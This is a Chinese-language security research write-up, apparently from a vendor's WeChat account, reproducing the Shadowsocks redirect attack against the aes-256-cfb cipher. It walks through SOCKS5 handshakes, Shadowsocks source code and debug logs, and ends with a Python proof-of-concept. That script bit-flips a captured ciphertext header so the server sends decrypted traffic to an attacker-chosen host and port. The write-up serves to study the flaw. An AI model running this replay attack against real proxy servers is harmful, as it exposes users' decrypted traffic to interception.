最近复现了一个比较老的洞,因为涉及到密码学相关的攻击,刚好前段时间也在学习通讯协议相关的知识,于是就比较感兴趣。
先总体概括一下,漏洞成因是因为 Shadowsocks 的作者默认使用了一个不合适的密码组件(使用者是可以自己再重新指定的),导致中间人可以利用 Shadowsocks 的服务端将解密后的流量随意重定向(这样中间人就能看到解密后的流量了)。不过涉及中间人对流量的劫持、篡改、重放,因此在实践操作中利用起来还是比较困难的。
复现参考的文章是https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#redirect-attack,祥哥这篇文章已经是记录的较为详实了,但是在复现过程中自己也是遇到了一些问题,于是在此记录。
data encrypt(info of target | data) --> cipher
user --------------------> client
|
|
(encrypted)
|
V
target <-------------------- server
data decrypt(cipher) --> info of target | data
data decrypt(cipher) --> data
user <-------------------- client
^
|
(encrypted)
|
|
target --------------------> server
data encrypt(data) --> cipher
{
"server":"127.0.0.1",
"server_port":8388,
"local_port":1081,
"password":"aes_password",
"timeout":60,
"method":"aes-256-cfb",
"local_address":"127.0.0.1",
"fast_open":false
}
clinet: 127.0.0.1 1081
server: 127.0.0.1 8388
target: x.x.x.x 8000
import requests
url = "http://49.235.117.239:8000/flag.txt"
proxies = {
'http': "socks5://127.0.0.1:1081",
'https': "socks5://127.0.0.1:1081"
}
resp = requests.get(url, proxies=proxies)
print(resp.content)
-
用户(脚本)起了一个1872端口,16578-16584这四个包应该是脚本在和客户端(1081端口)进行socket握手, -
随后用户向客户端发起了 GET 请求。随后客户端起了一个端口 1873 向服务端(8388端口)发送了流量,根据长度可以看到是多了23个字节,应该是封装+加密, -
随后(这一部分由于监听网卡的原因在这里没有捕获到)服务端会解密然后向目标网站发送请求,目标网站回复后,服务端进行加密, -
(16597包)服务端向客户端发送加密流量 -
最后客户端进行解密再向用户发送明文,可以看到解密后长度少了16字节(熟悉分组密码的话大概可以猜到会是少了16字节的iv向量)
客户端
-
客户端第一次请求,格式为 版本号+方法占用字节+方法,这里我们是 05 01 00 -
服务端第一次回复,格式为 版本号+方法,这里我们是 05 00 ,00 说明 服务端连接无需经过验证 -
客户端第二次请求,格式为 版本号+CMD+保留字段 RSV+目标地址类型 ATYP+ 目标地址 DST.ADDR + 目标端口 DST.PORT,这里我们是 05 01 00 01 31 eb 75 ef 1f 40, 版本号是5,01是建立连接,00默认,01说明是IPV4地址类型,0x31,0xeb,0x75,0xef 是 ip 各个端的十六进制,0x1f40 说明是8000端口 -
服务端第二次回复,格式为 版本号+回复字段 REP+保留字段 PSV+目标地址类型 ATYP+ 服务器绑定地址 BND.ADDR + 服务器绑定端口 BND.PORT,这里我们是 05 00 00 01 00 00 00 00 10 10 版本号是5,00 表示连接成功,默认保留字段00 ,01 说明是IPV4地址,00 00 00 00 说明绑定地址是0.0.0.0,0x1010 绑定的端口是4112(为啥是这个嘞)
def main():
...
dns_resolver = asyncdns.DNSResolver()
tcp_server = tcprelay.TCPRelay(config, dns_resolver, True)
udp_server = udprelay.UDPRelay(config, dns_resolver, True)
loop = eventloop.EventLoop()
dns_resolver.add_to_loop(loop)
tcp_server.add_to_loop(loop)
udp_server.add_to_loop(loop)
...
loop.run
def run(self):
events = []
while not self._stopping:
asap = False
try:
events = self.poll(TIMEOUT_PRECISION)
except (OSError, IOError) as e:
...
for sock, fd, event in events:
handler = self._fdmap.get(fd, None)
if handler is not None:
handler = handler[1]
try:
handler.handle_event(sock, fd, event)
except (OSError, IOError) as e:
shell.print_exception(e)
class TCPRelay(object):
def __init__(self, config, dns_resolver, is_local, stat_callback=None):
...
if is_local:
listen_addr = config['local_address']
listen_port = config['local_port']
else:
listen_addr = config['server']
listen_port = config['server_port']
self._listen_port = listen_port
addrs = socket.getaddrinfo(listen_addr, listen_port, 0,
socket.SOCK_STREAM, socket.SOL_TCP)
if len(addrs) == 0:
raise Exception("can't get addrinfo for %s:%d" %
(listen_addr, listen_port))
af, socktype, proto, canonname, sa = addrs[0]
server_socket = socket.socket(af, socktype, proto)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(sa)
server_socket.setblocking(False)
if config['fast_open']:
try:
server_socket.setsockopt(socket.SOL_TCP, 23, 5)
except socket.error:
logging.error('warning: fast open is not available')
self._config['fast_open'] = False
server_socket.listen(1024)
self._server_socket = server_socket
self._stat_callback = stat_callback
def handle_event(self, sock, fd, event):
# handle events and dispatch to handlers
if sock:
logging.log(shell.VERBOSE_LEVEL, 'fd %d %s', fd,
eventloop.EVENT_NAMES.get(event, event))
if sock == self._server_socket:
if event & eventloop.POLL_ERR:
# TODO
raise Exception('server_socket error')
try:
logging.debug('accept')
conn = self._server_socket.accept()
TCPRelayHandler(self, self._fd_to_handlers,
self._eventloop, conn[0], self._config,
self._dns_resolver, self._is_local)
except (OSError, IOError) as e:
error_no = eventloop.errno_from_exception(e)
if error_no in (errno.EAGAIN, errno.EINPROGRESS,
errno.EWOULDBLOCK):
return
else:
shell.print_exception(e)
if self._config['verbose']:
traceback.print_exc()
self._stage = STAGE_INIT
...
fd_to_handlers[local_sock.fileno()] = self
...
loop.add(local_sock, eventloop.POLL_IN | eventloop.POLL_ERR,self._server)
def handle_event(self, sock, event):
# handle all events in this handler and dispatch them to methods
if self._stage == STAGE_DESTROYED:
logging.debug('ignore handle_event: destroyed')
return
# order is important
if sock == self._remote_sock:
...
elif sock == self._local_sock:
if event & eventloop.POLL_ERR:
self._on_local_error()
if self._stage == STAGE_DESTROYED:
return
if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
logging.info("read from local")
self._on_local_read()
if self._stage == STAGE_DESTROYED:
return
if event & eventloop.POLL_OUT:
logging.info("wrting to local")
self._on_local_write()
else:
logging.warn('unknown socket')
def _on_local_read(self):
try:
data = self._local_sock.recv(BUF_SIZE)
...
elif is_local and self._stage == STAGE_INIT:
# TODO check auth method
self._write_to_sock(b'x05 0', self._local_sock)
self._stage = STAGE_ADDR
return
...
elif (is_local and self._stage == STAGE_ADDR) or
(not is_local and self._stage == STAGE_INIT):
self._handle_stage_addr(data)
...
elif cmd == CMD_CONNECT:
# just trim VER CMD RSV
data = data[3:]
else:
logging.error('unknown command %d', cmd)
self.destroy()
return
header_result = parse_header(data)
if header_result is None:
raise Exception('can not parse header')
addrtype, remote_addr, remote_port, header_length = header_result
def parse_header(data):
addrtype = ord(data[0])
dest_addr = None
dest_port = None
header_length = 0
if addrtype == ADDRTYPE_IPV4:
if len(data) >= 7:
dest_addr = socket.inet_ntoa(data[1:5])
dest_port = struct.unpack('>H', data[5:7])[0]
header_length = 7
else:
logging.warn('header is too short')
elif addrtype == ADDRTYPE_HOST:
if len(data) > 2:
addrlen = ord(data[1])
if len(data) >= 2 + addrlen:
dest_addr = data[2:2 + addrlen]
dest_port = struct.unpack('>H', data[2 + addrlen:4 +
addrlen])[0]
header_length = 4 + addrlen
else:
logging.warn('header is too short')
else:
logging.warn('header is too short')
elif addrtype == ADDRTYPE_IPV6:
if len(data) >= 19:
dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17])
dest_port = struct.unpack('>H', data[17:19])[0]
header_length = 19
else:
logging.warn('header is too short')
else:
logging.warn('unsupported addrtype %d, maybe wrong password or '
'encryption method' % addrtype)
if dest_addr is None:
return None
return addrtype, to_bytes(dest_addr), dest_port, header_length
if self._is_local:
# forward address to remote
self._write_to_sock((b'x05x00x00x01'
b'x00x00x00x00x10x10'),
self._local_sock)
data_to_send = self._encryptor.encrypt(data)
self._data_to_write_to_remote.append(data_to_send)
# notice here may go into _handle_dns_resolved directly
self._dns_resolver.resolve(self._chosen_server[0],
self._handle_dns_resolved)
def resolve(self, hostname, callback):
if type(hostname) != bytes:
hostname = hostname.encode('utf8')
if not hostname:
callback(None, Exception('empty hostname'))
elif common.is_ip(hostname):
# logging.info(hostname)
callback((hostname, hostname), None)
...
remote_sock.connect((remote_addr, remote_port))
...
self._loop.add(remote_sock,eventloop.POLL_ERR | eventloop.POLL_OUT,self._server)
self._stage = STAGE_CONNECTING
...
elif self._stage == STAGE_CONNECTING:
self._handle_stage_connecting(data)
def _handle_stage_connecting(self, data):
if self._is_local:
data = self._encryptor.encrypt(data)
self._data_to_write_to_remote.append(data)
if self._is_local and not self._fastopen_connected and
self._config['fast_open']:
def _on_remote_write(self):
# handle remote writable event
self._stage = STAGE_STREAM
if self._data_to_write_to_remote:
data = b''.join(self._data_to_write_to_remote)
self._data_to_write_to_remote = []
self._write_to_sock(data, self._remote_sock)
self._encryptor = encrypt.Encryptor(config['password'],
config['method'])
# encrypt.py
def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.update(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.update(buf)
if sock == self._remote_sock:
...
if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
logging.info("read from remote")
self._on_remote_read()
def _on_remote_read(self):
data = self._remote_sock.recv(BUF_SIZE)
...
if self._is_local:
data = self._encryptor.decrypt(data)
try:
self._write_to_sock(data, self._local_sock)
-
首先用户向客户端发起第一次socket握手 -
客户端进行第一次回复 -
用户向客户端发送目的地址的相关信息 -
客户端保存相关信息并加密,放入待发送消息队列;和服务端建立连接;然后对用户进行第二次回复 -
用户向客户端发送对目的地址的相关请求 -
客户端对消息进行加密,放入待发送消息队列,然后将整个消息队列发送给服务端
INFO: loading config from config.json
2023-01-12 17:03:02 WARNING warning: server set to listen on 127.0.0.1:8388, are you sure?
2023-01-12 17:03:02 WARNING warning: your timeout 60 seems too short
2023-01-12 17:03:02 INFO loading libcrypto from C:WindowsSystem32libcrypto.dll
2023-01-12 17:03:02 INFO starting local at 127.0.0.1:1081
2023-01-12 17:03:02 DEBUG server_socket <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>
2023-01-12 17:03:02 DEBUG using event model: select
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>,fd: 536, event: 1
2023-01-12 17:03:04 DEBUG accept
2023-01-12 17:03:04 DEBUG chosen server: 127.0.0.1:8388
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG read from local
2023-01-12 17:03:04 DEBUG read local data: b'x05x01x00'
2023-01-12 17:03:04 DEBUG writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'x05x00'
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG read from local
2023-01-12 17:03:04 DEBUG read local data: b'x05x01x00x011xebuxefx1f@'
2023-01-12 17:03:04 INFO connecting 49.235.117.239:8000 from 127.0.0.1:64393
2023-01-12 17:03:04 DEBUG writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'x05x00x00x01x00x00x00x00x10x10'
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG read from local
2023-01-12 17:03:04 DEBUG read local data: b'GET /flag.txt HTTP/1.1rnHost: 49.235.117.239:8000rnUser-Agent: python-requests/2.26.0rnAccept-Encoding: gzip, deflaternAccept: */*rnConnection: keep-alivernrn'
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 4
2023-01-12 17:03:04 DEBUG <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG writing to remote
2023-01-12 17:03:04 DEBUG writing data to sock <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)> b'xb1x98xfex97xcdvx1dxec-xcbxe4xc7Px86xdfx15~xaaxf7x9ccx19xd2Rxb3!xafxd3x86qxf1L`x1cx81;dxa5%x19xd9xa4xe7xb0x04Mx9dxbcxc7xf8xcchHx8cxcexecxf2xb8H7xaaxcdYxa6xccqx99xacx1f9hxddx08Oxadrxf3xedHx94xf7x1fx94xa1x04xfcxda!9x1fxdex88xb0s%xcaxdbxc93xacx92Nx12 #xbawx89Wtx1d[xf8x88O{x99Mgxe5xe8Mx88x82!xaexffxb3pxe8_x01x7fx91U=tJx937xb2x9dx02Dx0fx03Yxb5 xa5M7xc6Jkmf|xf3\x16Hxd0{xf9x91xfa9xcdx87xb3x98xafXx0fxefcyxdbx12xbe'
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG read from remote
2023-01-12 17:03:04 DEBUG debug read from remote
2023-01-12 17:03:04 DEBUG writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'HTTP/1.0 200 OKrnServer: SimpleHTTP/0.6 Python/3.6.8rnDate: Thu, 12 Jan 2023 09:03:04 GMTrnContent-type: text/plainrnContent-Length: 18rnLast-Modified: Wed, 04 Jan 2023 08:53:15 GMTrnrnflag{you_got_it!}n'
2023-01-12 17:03:04 DEBUG LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG read from remote
2023-01-12 17:03:04 DEBUG debug read from remote
2023-01-12 17:03:04 DEBUG destroy: 49.235.117.239:8000
2023-01-12 17:03:04 DEBUG destroying remote
2023-01-12 17:03:04 DEBUG destroying local
服务端
-
接受客户端的消息并解密 -
前七个字节是目标网站的信息,于是服务端向目标网站发起连接,然后向目标网站发送解密后七个字节之后的消息 -
接受目标网站的回复 -
将回复加密后发送给客户端
def _on_local_read(self):
# handle all local read events and dispatch them to methods for
# each stage
if not self._local_sock:
return
is_local = self._is_local
data = None
try:
data = self._local_sock.recv(BUF_SIZE)
except (OSError, IOError) as e:
if eventloop.errno_from_exception(e) in
(errno.ETIMEDOUT, errno.EAGAIN, errno.EWOULDBLOCK):
return
if not data:
self.destroy()
return
logging.debug("read local data: %s" % data)
self._update_activity(len(data))
if not is_local:
data = self._encryptor.decrypt(data)
if not data:
return
if self._stage == STAGE_STREAM:
if self._is_local:
data = self._encryptor.encrypt(data)
self._write_to_sock(data, self._remote_sock)
return
elif is_local and self._stage == STAGE_INIT:
# TODO check auth method
self._write_to_sock(b'x05 0', self._local_sock)
self._stage = STAGE_ADDR
return
elif self._stage == STAGE_CONNECTING:
self._handle_stage_connecting(data)
elif (is_local and self._stage == STAGE_ADDR) or
(not is_local and self._stage == STAGE_INIT):
self._handle_stage_addr(data)
if not is_local:
data = self._encryptor.decrypt(data)
def _handle_stage_addr(self, data):
try:
if self._is_local:
...
elif cmd == CMD_CONNECT:
# just trim VER CMD RSV
data = data[3:]
else:
logging.error('unknown command %d', cmd)
self.destroy()
return
header_result = parse_header(data)
if header_result is None:
raise Exception('can not parse header')
addrtype, remote_addr, remote_port, header_length = header_result
logging.info('connecting %s:%d from %s:%d' %
(common.to_str(remote_addr), remote_port,
self._client_address[0], self._client_address[1]))
self._remote_address = (common.to_str(remote_addr), remote_port)
self._update_stream(STREAM_UP, WAIT_STATUS_WRITING)
self._stage = STAGE_DNS
if self._is_local:
...
else:
if len(data) > header_length:
self._data_to_write_to_remote.append(data[header_length:])
# notice here may go into _handle_dns_resolved directly
self._dns_resolver.resolve(remote_addr,
self._handle_dns_resolved)
except Exception as e:
self._log_error(e)
if self._config['verbose']:
traceback.print_exc()
self.destroy()
def _on_remote_read(self):
# handle all remote read events
data = None
try:
data = self._remote_sock.recv(BUF_SIZE)
except (OSError, IOError) as e:
...
if self._is_local:
data = self._encryptor.decrypt(data)
else:
data = self._encryptor.encrypt(data)
try:
self._write_to_sock(data, self._local_sock)
...
HTTP/1.1 200 OKrnHost
,因此,我们是能够得到图中的 的,也就是 IV 经过 AES 加密后的值。我们设明文为 ,密文为 ,想要将数据篡改为 ,于是from Crypto.Util.number import *
import socket
import time
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
def ip2hex(ip):
ip = ip.split(".")
res = b"".join(long_to_bytes(int(i)) for i in ip)
return res
data = bytes.fromhex("bf988dd6c949f977528ec6449edcc615f0f472be1745a3bb603f60a9e089caa16af7faa5bfcede63be4fe1ef069185da0a251ef80f62ad74ae3103736305f195a40e1487888ba7e9480e6ba66b6b91f91467da5161bf4a5783bb85034f8e4c6ec269b1c4e827551cf40903b3ec4e7e051f0a68a36b3b27994a758cd49ce013853ede7fd240d4928ed02ef8d6b1bf043396eabd7d9e08d44aa687fcd6c967d68b16c96d40e461b0992314ac043d924bd58c011c55300ddd28d8e6d9c4c4eea410404f9e2b65783f5b1bd29b9afff8147eac1eddcc93288fbdfb827f")
x1 = b"HTTP/1."
x2 = b"x01" + ip2hex("xx.xx.xx.xx") + long_to_bytes(9999,2)
new_data = data[:16] + xor(xor(x1, x2), data[16:16+7]) + b"x00"*(9) + data
sh = socket.socket()
sh.connect(("127.0.0.1", 8388))
sh.send(new_data)
time.sleep(20)
def destroy(self):
# destroy the handler and release any resources
# promises:
# 1. destroy won't make another destroy() call inside
# 2. destroy releases resources so it prevents future call to destroy
# 3. destroy won't raise any exceptions
# if any of the promises are broken, it indicates a bug has been
# introduced! mostly likely memory leaks, etc
if self._stage == STAGE_DESTROYED:
# this couldn't happen
logging.debug('already destroyed')
return
self._stage = STAGE_DESTROYED
if self._remote_address:
logging.debug('destroy: %s:%d' %
self._remote_address)
else:
logging.debug('destroy')
if self._remote_sock:
logging.debug('destroying remote')
self._loop.remove(self._remote_sock)
del self._fd_to_handlers[self._remote_sock.fileno()]
self._remote_sock.close()
self._remote_sock = None
if self._local_sock:
logging.debug('destroying local')
self._loop.remove(self._local_sock)
del self._fd_to_handlers[self._local_sock.fileno()]
self._local_sock.close()
self._local_sock = None
self._dns_resolver.remove_callback(self._handle_dns_resolved)
self._server.remove_handler(self)
原文始发于微信公众号(山石网科安全技术研究院):Shadowsocks 流量解密重定向攻击研究